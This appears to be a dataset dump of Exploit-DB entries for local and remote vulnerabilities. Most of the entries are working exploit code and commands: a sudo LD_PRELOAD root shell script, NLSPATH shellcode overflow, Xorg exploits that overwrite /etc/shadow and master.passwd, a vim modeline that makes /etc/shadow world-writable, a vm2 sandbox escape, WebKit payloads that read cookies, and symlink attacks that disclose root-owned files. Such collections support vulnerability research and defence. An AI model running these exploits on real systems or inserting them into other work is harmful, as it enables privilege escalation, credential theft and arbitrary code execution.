deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7129
Description: Sudo 1.6.9p18 - 'Defaults SetEnv' Local Privilege Escalation
Type: local
Platform: multiple
Date: 2008-11-15
Author: kingcope

Exploit:
#!/bin/sh
#* Sudo <= 1.6.9p18 local r00t exploit
#* by Kingcope/2008/www.com-winner.com
#
# Most lame exploit EVER!
#
# Needs a special configuration in the sudoers file:
# --->>>>> "Defaults setenv" so environ vars are preserved :) <<<<<---
#
# May also need the current users password to be typed in
# So this exploit is UBERLAME!
# First Argument to this shell file: A program your current
# user is allowed to execute via sudo. sudo has to be in 
# the path!!
# successfully tested on FreeBSD-7.0 and RedHat Linux
# I don't even know why I realease such stuffz
# I'M GONNA GRAB A COFFE NOW;HAVE PHUN !!!

echo "Sudo <= 1.6.9p18 local r00t exploit"
echo "by Kingcope/2008/www.com-winner.com"

if [$1 == ""]; then
echo "Please give me a program to run via sudo."
echo "Allowed programs:"
sudo -l
exit
fi

cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
 if (!geteuid()) {
 unsetenv("LD_PRELOAD");
 setgid(0);
 setuid(0);
 execl("/bin/sh","sh","-c","chown 0:0 /tmp/xxxx; /bin/chmod +xs /tmp/xxxx",NULL);
 }
}

_EOF

cat > xxxx.c << _EOF
int main(void) {
       setgid(0); setuid(0);
//       unlink("/tmp/xxxx");
       execl("/bin/sh","sh",0); }
_EOF

gcc -o /tmp/xxxx xxxx.c
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o /tmp/libno_ex.so.1.0 program.o -nostartfiles
sudo LD_PRELOAD=/tmp/libno_ex.so.1.0 $1
if [ -f /tmp/xxxx ]; then
echo "CONGRATULATIONS, IT'S A ROOTSHELL!"
/tmp/xxxx
else
echo "Sorry, exploit failed. No envvars allowed?"
fi

# milw0rm.com [2008-11-15]
Exploit-DB #1924
Description: Sun iPlanet Messaging Server 5.2 HotFix 1.16 - Root Password Disclosure
Type: local
Platform: multiple
Date: 2006-06-18
Author: php0t

Exploit:
Date: 14 Jun 2006
Vendor: Sun Microsystems, Inc.
Name: iPlanet Messaging Server
Version: 5.2 HotFix 1.16 (built May 14 2003)
Vuln: msg.conf symlink attack
Severity: high


Software description
----------------
The iPlanet Messaging Server is a software product that provides a
centralized location for the exchange of information through the sending
and receiving of messages. The product is designed for
telecommunications providers, service providers, and enterprises that
offer messaging capabilities to employees, partners, and customers. The
iPlanet Messaging Server delivers a Web-based messaging platform capable
of serving tens of millions of users, and also provides value-added
differentiated services, including outsourcing, wireless ,and unified
messaging services.


Vulnerability desciption
----------------
Setuid programs part of the iPlanet Messaging Server try to read the
configuration file msg.conf.
If the environment variable CONFIGROOT is set, the configuration is read
from that directory.
A symlink attack is possible, and as a result it is possible to read the
first line of any file with uid=0.

Example
----------------
test@sunbox:/tmp$ /iplanet/iMS5/bin/msg/imta/bin/version
iPlanet Messaging Server 5.2 HotFix 1.16 (built May 14 2003)
libimta.so 5.2 HotFix 1.16 (built 12:32:17, May 14 2003)
SunOS sunbox 5.9 Generic_118558-22 sun4u sparc SUNW,Sun-Fire-280R Solaris
test@sunbox:/tmp$
test@sunbox:/tmp$ ls -la /iplanet/iMS5/bin/msg/imta/bin/pipe_master
-rws--s--x    1 root     mail       446864 Sep 22  2005 /iplanet/iMS5/bin/msg/imta/bin/pipe_master
test@sunbox:/tmp$
test@sunbox:/tmp$ ln -s /etc/shadow msg.conf
test@sunbox:/tmp$
test@sunbox:/tmp$ export CONFIGROOT=.
test@sunbox:/tmp$
test@sunbox:/tmp$ /iplanet/iMS5/bin/msg/imta/bin/pipe_master
[14/Jun/2006:11:13:49 +0200] sunbox [119]: General Error: func=_configdrv_file_readoption; error=option name should be followed by '='; line=root:qW1HFEa1MCD0w:11821:::::: ERROR: Configuration database initialization failed - see default logfile
test@sunbox:/tmp$

Vulnerable
----------------
iPlanet Messaging Server 5.2 HotFix 1.16 (built May 14 2003)

php0t / zorro.hu
www.zorro.hu

# milw0rm.com [2006-06-18]
Exploit-DB #19552
Description: UNICOS 9/MAX 1.3/mk 1.5 / AIX 4.2 / libc 5.2.18 / RedHat 4 / IRIX 6 / Slackware 3 - NLS (2)
Type: local
Platform: multiple
Date: 1997-02-13
Author: Solar Designer

Exploit:
/*
source: https://www.securityfocus.com/bid/711/info
 
Cray UNICOS 9.0/9.2/MAX 1.3/mk 1.5,AIX <= 4.2,Linux libc <= 5.2.18,RedHat 4.0,IRIX 6.2,Slackware 3.1 Natural Language Service (NLS) Vulnerability (2)  
 
A buffer overflow condition affects libraries using the Natural Language Service (NLS). The NLS is the component of UNIX systems that provides facilities for customizing the natural language formatting for the system. Examples of the types of characteristics that can be set are language, monetary symbols and delimiters, numeric delimiters, and time formats.
 
Some libraries that use a particular environment variable associated with the NLS contain a vulnerability in which a buffer overflow condition can be triggered. The particular environment variable involved is NLSPATH on some systems and PATH_LOCALE on others.
 
It is possible to exploit this vulnerability to attain unauthorized access by supplying carefully crafted arguments to programs that are owned by a privileged user-id and that have setuid or setgid bits set. 


--- nlspath.c ---
*/


/*
 * NLSPATH buffer overflow exploit for Linux, tested on Slackware 3.1
 * Copyright (c) 1997 by Solar Designer
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shellcode =
  "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
  "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
  "\xcd\x80/"
  "/bin/sh"
  "0";

char *get_sp() {
   asm("movl %esp,%eax");
}

#define bufsize 2048
char buffer[bufsize];

main() {
  int i;

  for (i = 0; i < bufsize - 4; i += 4)
    *(char **)&buffer[i] = get_sp() - 3072;

  memset(buffer, 0x90, 512);
  memcpy(&buffer[512], shellcode, strlen(shellcode));

  buffer[bufsize - 1] = 0;

  setenv("NLSPATH", buffer, 1);

  execl("/bin/su", "/bin/su", NULL);
}

--- nlspath.c ---

And the shellcode separately:

--- shellcode.s ---

.text
.globl shellcode
shellcode:
xorl %eax,%eax
movb $0x31,%al
int $0x80
xchgl %eax,%ebx
xorl %eax,%eax
movb $0x17,%al
int $0x80
.byte 0x68
popl %ecx
popl %eax
jmp *%ecx
call *%esp
xorl %eax,%eax
cltd
movl %ecx,%edi
movb $'/'-1,%al
incl %eax
scasb %es:(%edi),%al
jne -3
movl %edi,(%ecx)
movl %edx,4(%ecx)
movl %edi,%ebx
incl %eax
scasb %es:(%edi),%al
jne -3
movb %dl,-1(%edi)
movb $0x0B,%al
int $0x80
xorl %eax,%eax
incl %eax
xorl %ebx,%ebx
int $0x80
.byte '/'
.string "/bin/sh0"

--- shellcode.s ---
Exploit-DB #1119
Description: vim 6.3 < 6.3.082 - 'modlines' Local Command Execution
Type: local
Platform: multiple
Date: 2005-07-25
Author: Georgi Guninski

Exploit:
1) open up a text file.

2) insert at the top the information (below).

/* vim: foldmethod=expr:foldexpr=glob("`chmod\ 666\ /etc/shadow`") */

3) if modlines = on anyone that opens the file with vim will execute the command:
   chmod 666 /etc/shadow
   
Have fun making your own commands.

The advisory can be found at:
  http://www.guninski.com/where_do_you_want_billg_to_go_today_5.html

/str0ke

# milw0rm.com [2005-07-25]
Exploit-DB #51898
Description: vm2 - sandbox escape
Type: local
Platform: multiple
Date: 2024-03-16
Author: Calil Khalil

Exploit:
/*
# Exploit Title: vm2 Sandbox Escape vulnerability
# Date: 23/12/2023
# Exploit Author: Calil Khalil & Adriel Mc Roberts
# Vendor Homepage: https://github.com/patriksimek/vm2
# Software Link: https://github.com/patriksimek/vm2
# Version: vm2 <= 3.9.19
# Tested on: Ubuntu 22.04
# CVE : CVE-2023-37466
*/

const { VM } = require("vm2");
const vm = new VM();

const command = 'pwd'; // Change to the desired command

const code = `
async function fn() {
    (function stack() {
        new Error().stack;
        stack();
    })();
}

try {
    const handler = {
        getPrototypeOf(target) {
            (function stack() {
                new Error().stack;
                stack();
            })();
        }
    };

    const proxiedErr = new Proxy({}, handler);

    throw proxiedErr;
} catch ({ constructor: c }) {
    const childProcess = c.constructor('return process')().mainModule.require('child_process');
    childProcess.execSync('${command}');
}
`;

console.log(vm.run(code));
Exploit-DB #45867
Description: Webkit (Chome < 61) - 'MHTML' Universal Cross-site Scripting
Type: local
Platform: multiple
Date: 2017-10-03
Author: Anton Lopanitsyn

Exploit:
<?php
$filename=realpath("PoC.mht");
header( "Content-type: multipart/related");
readfile($filename);
?>




MIME-Version: 1.0
Content-Type: multipart/related;
	type="text/html";
	boundary="----MultipartBoundary--"
CVE-2017-5124

------MultipartBoundary--
Content-Type: application/xml;

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><iframe style="display:none" src="https://google.com"></iframe></html>
</xsl:template>
</xsl:stylesheet>

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://google.com

<script>alert('Location origin: '+location.origin)</script>
------MultipartBoundary----
Exploit-DB #45866
Description: Webkit (Safari) - Universal Cross-site Scripting
Type: local
Platform: multiple
Date: 2017-10-03
Author: Anton Lopanitsyn

Exploit:
<!--
# CVE-2017-7089

**Impact**: Processing maliciously crafted web content may lead to universal cross site scripting

**Description**: A logic issue existed in the handling of the parent-tab. This issue was addressed with improved state management.

#### Safari 10

##### Local SOP bypass

```html
<script> function Pew(){var doc=open('parent-tab://apple.com');doc.document.body.innerHTML='<img src=q onerror=alert(document.cookie)>';}</script><button onclick=Pew();>Click me!</button>
```
##### Exploit by Frans Rosén
```html
data:text/html,<script>function y(){x=open('parent-tab://google.com','_top'),x.document.body.innerHTML='<img/src=""onerror="alert(document.cookie)">'};setTimeout(y,100)</script>
```
-->

<body onload=document.getElementById('pew').click()>
<a id='pew' href='data:text/html,<script>function y(){x=open(&#x27;parent-tab://apple.com&#x27;,&#x27;_top&#x27;),x.document.body.innerHTML=&#x27;<img/src=""onerror=alert(document.domain);alert(document.cookie);>&#x27;};setTimeout(y,100)</script>'>hello</a>
</body>
Exploit-DB #30970
Description: White_Dune 0.29beta791 - Multiple Local Code Execution Vulnerabilities
Type: local
Platform: multiple
Date: 2008-01-02
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27102/info

White_Dune is affected by a format-string vulnerability and a buffer-overflow vulnerability.

Exploiting these issues can allow local attackers to execute arbitrary code in the context of the application.

Versions prior to White_Dune 0.29beta795 are affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30970.zip
Exploit-DB #45922
Description: xorg-x11-server < 1.20.3 - 'modulepath' Local Privilege Escalation
Type: local
Platform: multiple
Date: 2018-11-30
Author: Marco Ivaldi

Exploit:
#!/bin/sh

#
# raptor_xorgy - xorg-x11-server LPE via modulepath switch
# Copyright (c) 2018 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission 
# check for -modulepath and -logfile options when starting Xorg. X server 
# allows unprivileged users with the ability to log in to the system via 
# physical console to escalate their privileges and run arbitrary code under 
# root privileges (CVE-2018-14665).
#
# This exploit variant triggers the bug in the -modulepath command line switch
# to load a malicious X11 module in order to escalate privileges to root on
# vulnerable systems. This technique is less invasive than exploiting the 
# -logfile switch, however the gcc compiler must be present in order for it to
# work out of the box. Alternatively, you must use a pre-compiled malicious .so
# compatible with the target system and modify the exploit accordingly.
#
# It works very reliably on Solaris 11.4 and should work on most vulnerable
# Linux distributions (though I haven't tested it). For some reason, it fails to
# obtain uid 0 on OpenBSD... They might have an additional protection in place.
#
# Thanks to @alanc and @nushinde for discussing this alternative vector.
#
# See also:
# https://github.com/0xdea/exploits/blob/master/openbsd/raptor_xorgasm
# https://github.com/0xdea/exploits/blob/master/solaris/raptor_solgasm
# https://www.securepatterns.com/2018/10/cve-2018-14665-another-way-of.html
# https://nvd.nist.gov/vuln/detail/CVE-2006-0745
#
# Usage:
# raptor@stalker:~$ chmod +x raptor_xorgy
# raptor@stalker:~$ ./raptor_xorgy
# [...]
# root@stalker:~# id
# uid=0(root) gid=0(root)
#
# Vulnerable platforms (setuid Xorg 1.19.0 - 1.20.2):
# Oracle Solaris 11 X86 [tested on 11.4.0.0.1.15.0 with Xorg 1.19.5]
# Oracle Solaris 11 SPARC [untested]
# CentOS Linux 7 [untested, it should work]
# Red Hat Enterprise Linux 7 [untested]
# Ubuntu Linux 18.10 [untested]
# Ubuntu Linux 18.04 LTS [untested]
# Ubuntu Linux 16.04 LTS [untested]
# Debian GNU/Linux 9 [untested]
# [...]
#

echo "raptor_xorgy - xorg-x11-server LPE via modulepath switch"
echo "Copyright (c) 2018 Marco Ivaldi <raptor@0xdeadbeef.info>"
echo

# prepare the payload
cat << EOF > /tmp/pwned.c
_init()
{
	setuid(0);
	setgid(0);
	system("/bin/bash");
}
EOF
# libglx.so should be a good target, refer to Xorg logs for other candidates
gcc -fPIC -shared -nostartfiles -w /tmp/pwned.c -o /tmp/libglx.so
if [ $? -ne 0 ]; then echo; echo "error: cannot compile /tmp/pwned.c"; exit; fi

# trigger the bug
echo "Got root?"
Xorg -modulepath ",/tmp" :1
Exploit-DB #45697
Description: xorg-x11-server < 1.20.3 - Local Privilege Escalation
Type: local
Platform: multiple
Date: 2018-10-25
Author: Hacker Fantastic

Exploit:
#CVE-2018-14665 - a LPE exploit via http://X.org  fits in a tweet

cd /etc; Xorg -fp "root::16431:0:99999:7:::"  -logfile shadow  :1;su

Overwrite shadow (or any) file on most Linux, get root privileges. *BSD and any other Xorg desktop also affected.





#!/bin/sh
# local privilege escalation in X11 currently
# unpatched in OpenBSD 6.4 stable - exploit
# uses cve-2018-14665 to overwrite files as root. 
# Impacts Xorg 1.19.0 - 1.20.2 which ships setuid
# and vulnerable in default OpenBSD.
#
# - https://hacker.house
echo [+] OpenBSD 6.4-stable local root exploit
cd /etc
Xorg -fp 'root:$2b$08$As7rA9IO2lsfSyb7OkESWueQFzgbDfCXw0JXjjYszKa8Aklt5RTSG:0:0:daemon:0:0:Charlie &:/root:/bin/ksh' -logfile master.passwd :1 &
sleep 5
pkill Xorg
echo [-] dont forget to mv and chmod /etc/master.passwd.old back 
echo [+] type 'Password1' and hit enter for root
su -


EBB Note ~ Another version of it: https://gist.github.com/0x27/d8aae5de44ed385ff2a3d[PII_REDACTED]0
Exploit-DB #9097
Description: xscreensaver 5.01 - Arbitrary File Disclosure Symlink
Type: local
Platform: multiple
Date: 2009-07-09
Author: kingcope

Exploit:
xscreensaver local arbitrary file disclosure | symlink attack

The ï¿½xscreensaverï¿½ program distributed normally with Xorg can be abused
to disclose local files owned by other users (also of the root account).
Xscreensaver has the setuid bit on by default (Example: Opensolaris)
The xscreensaver program uses the file ~/.xscreensaver to read configuration
options from. If this file is a symlink to another file then this file is parsed
and output is shown on the display. It has to be noted that during the parsing
of the file it may be possible that not the full file contents will be shown.

Here is an example attack scenario on an Opensolaris default install (with Xorg):

kcope@opensolaris:~# ls -la /root/db.php && cat /root/db.php
-rw-------   1 root     root          61 Dez 27 17:59 /root/db.php
$db_user = "root";
$db_pass = "secret";

kcope@opensolaris:~$ ln -s /root/db.php ~/.xscreensaver
kcope@opensolaris:~$ ls -la ~/.xscreensaver
lrwxrwxrwx 1 kcope staff 12 1986-12-27 18:01 /export/home/kcope/.xscreensaver -> /root/db.php

kcope@opensolaris:~$ xscreensaver -verbose
xscreensaver 5.01, copyright (c) 1991-2006 by Jamie Zawinski <jwz@jwz.org>.
xscreensaver: running as kcope/staff (101/10); effectively root/staff (0/10)
xscreensaver: in process 2186.
xscreensaver: /export/home/kcope/.xscreensaver:1: unparsable line: $db_user = "root";
xscreensaver: /export/home/kcope/.xscreensaver:2: unparsable line: $db_pass = "secret";
xscreensaver: 18:02:26: running /usr/X11/lib/xscreensaver/bin/xscreensaver-gl-helper: No such file or directory
xscreensaver: 18:02:26: /usr/X11/lib/xscreensaver/bin/xscreensaver-gl-helper did not report a GL visual!
.................................
.................................
.................................


As one can see in the above output the contents of the root owned file 
db.php is shown in the
xscreensaver output.

Best Regards,

Nikolaos Rangos

# milw0rm.com [2009-07-09]
Exploit-DB #51470
Description: Yank Note v3.52.1 (Electron) - Arbitrary Code Execution
Type: local
Platform: multiple
Date: 2023-05-23
Author: 8bitsec

Exploit:
# Exploit Title: Yank Note v3.52.1 (Electron) - Arbitrary Code Execution
# Date: 2023-04-27
# Exploit Author: 8bitsec
# CVE: CVE-2023-31874
# Vendor Homepage: yank-note.com
# Software Link: https://github.com/purocean/yn
# Version: 3.52.1
# Tested on: [Ubuntu 22.04 | Mac OS 13]

Release Date: 2023-04-27

Product & Service Introduction: A Hackable Markdown Editor for Programmers. Version control, AI completion, mind map, documents encryption, code snippet running, integrated terminal, chart embedding, HTML applets, Reveal.js, plug-in, and macro replacement

Technical Details & Description:

A vulnerability was discovered on Yank Note v3.52.1 allowing a user to execute arbitrary code by opening a specially crafted file.

Proof of Concept (PoC):
Arbitrary code execution:

Create a markdown file (.md) in any text editor and write the following payload.
Mac:
<iframe srcdoc"<img srcx onerroralert(parent.parent.nodeRequire('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());>')>">

Ubuntu:
<iframe srcdoc"<img srcx onerroralert(parent.parent.nodeRequire('child_process').execSync('gnome-calculator').toString());>')>">

Opening the file in Yank Note will auto execute the Calculator application.
Exploit-DB #50504
Description: zlog 1.2.15 - Buffer Overflow
Type: local
Platform: multiple
Date: 2021-11-08
Author: LIWEI

Exploit:
# Exploit Title: zlog 1.2.15 - Buffer Overflow
# Date: 10/23/2021
# Exploit Author: LIWEI
# Vendor Homepage:  https://github.com/HardySimpson/zlog
# Software Link: https://github.com/HardySimpson/zlog
# Version: v1.2.15
# Tested on: ubuntu 18.04.2
# 1.- compile the zlogv1.2.15 code to a library.
# 2.- Use the "zlog_init" API to parse a file. You can do it as my testcase below.
# 3.- crash. because it made a stack-buffer-overflow READ.
# 4. -Also, you can get a stack-buffer-overflow WRITE when the pointer's address which overflow read is end with "0x20".
# 5.- Here are the crash backtrace.
#0 0x5588c3 in zlog_conf_build_with_file /src/zlog/src/conf.c:308:15
#1 0x557ad6 in zlog_conf_new /src/zlog/src/conf.c:176:7
#2 0x551183 in zlog_init_inner /src/zlog/src/zlog.c:91:18
#3 0x551008 in zlog_init /src/zlog/src/zlog.c:134:6
#4 0x550df1 in LLVMFuzzerTestOneInput /src/zlog_init_fuzzer.c:18:18

And also my testcase:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include "zlog.h"

int
LLVMFuzzerTestOneInput(const uint8_t *data, size_t size)
{
        char filename[256];
        sprintf(filename, "/tmp/libfuzzer.%d", getpid());

        FILE *fp = fopen(filename, "wb");
        if (!fp)
                return 0;
        fwrite(data, size, 1, fp);
        fclose(fp);

        int rc = zlog_init(filename);
        if (rc == 0)
        {
                zlog_fini();
        }
        unlink(filename);
        remove(filename);
        return 0;
}

Put my testcase in his project and change the compile line with CC="clang" CFLAGS="-O1 -fno-omit-frame-pointer -gline-tables-only -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION -fsanitize=address -fsanitize-address-use-after-scope -fsanitize=fuzzer-no-link" CXX="clang++" CXXFLAGS="-O1 -fno-omit-frame-pointer -gline-tables-only -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION -fsanitize=address -fsanitize-address-use-after-scope -fsanitize=fuzzer-no-link -stdlib=libc++"
Use ./configure under his project as shown in his README.txt. you will get a binary as testcase's name. run and you will reproduce it.
Exploit-DB #32945
Description: 010 Editor 3.0.4 - File Parsing Multiple Buffer Overflow Vulnerabilities
Type: remote
Platform: multiple
Date: 2009-04-21
Author: Le Duc Anh

Exploit:
source: https://www.securityfocus.com/bid/34662/info

010 Editor is prone to multiple buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied input.

Successfully exploiting these issues may allow remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts will cause denial-of-service conditions.

UPDATE (April 22, 2009): Since script files and templates may include script code used to automate editor functions, the privilege gained by a successful exploit is disputed. Please see the references for more information. We will update this BID as more information emerges.

Versions prior to 010 Editor 3.0.5 are vulnerable.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32945.zip
Exploit-DB #24730
Description: 04webserver 1.42 - Multiple Vulnerabilities
Type: remote
Platform: multiple
Date: 2004-11-10
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/11652/info

Multiple remote vulnerabilities reportedly affect 04WebServer. These issues are due to a failure of the application to properly sanitize user-supplied input.

An attacker may leverage these issues to carry out cross-site scripting attacks against any Web sites hosted on the affected server and to inject arbitrary characters into log files, potentially leading to corruption.

To leverage the cross-site scripting issue:
http://www.example.com/<script>alert('XSS');</script>

To inject the log entry '[22;45;24] <192.168.1.3> (74,632) [?.?.?.?I?.?.?.?.?.] GET /hack' into the log file the following request is sufficient:
http://www.example.com/a%0a[22;45;24]%20<192.168.1.3>%20(74,632)%20[%90%b3%8f%ed%82%c9%8f%49%97%b9%82%b5%82%dc%82%b5%82%bd]%20GET%20/hack
Exploit-DB #22497
Description: 12Planet Chat Server 2.5 - Error Message Installation Full Path Disclosure
Type: remote
Platform: multiple
Date: 2003-04-11
Author: Dennis Rand

Exploit:
source: https://www.securityfocus.com/bid/7355/info

When certain malformed URL requests are sent to a 12Planet Chat Server, the server's installation path may be revealed in the returned error message. This information could be used by a remote attacker to launch further attacks against the chat server.

http://www.victim.com:8080/qwe/qwe/qwe/index.html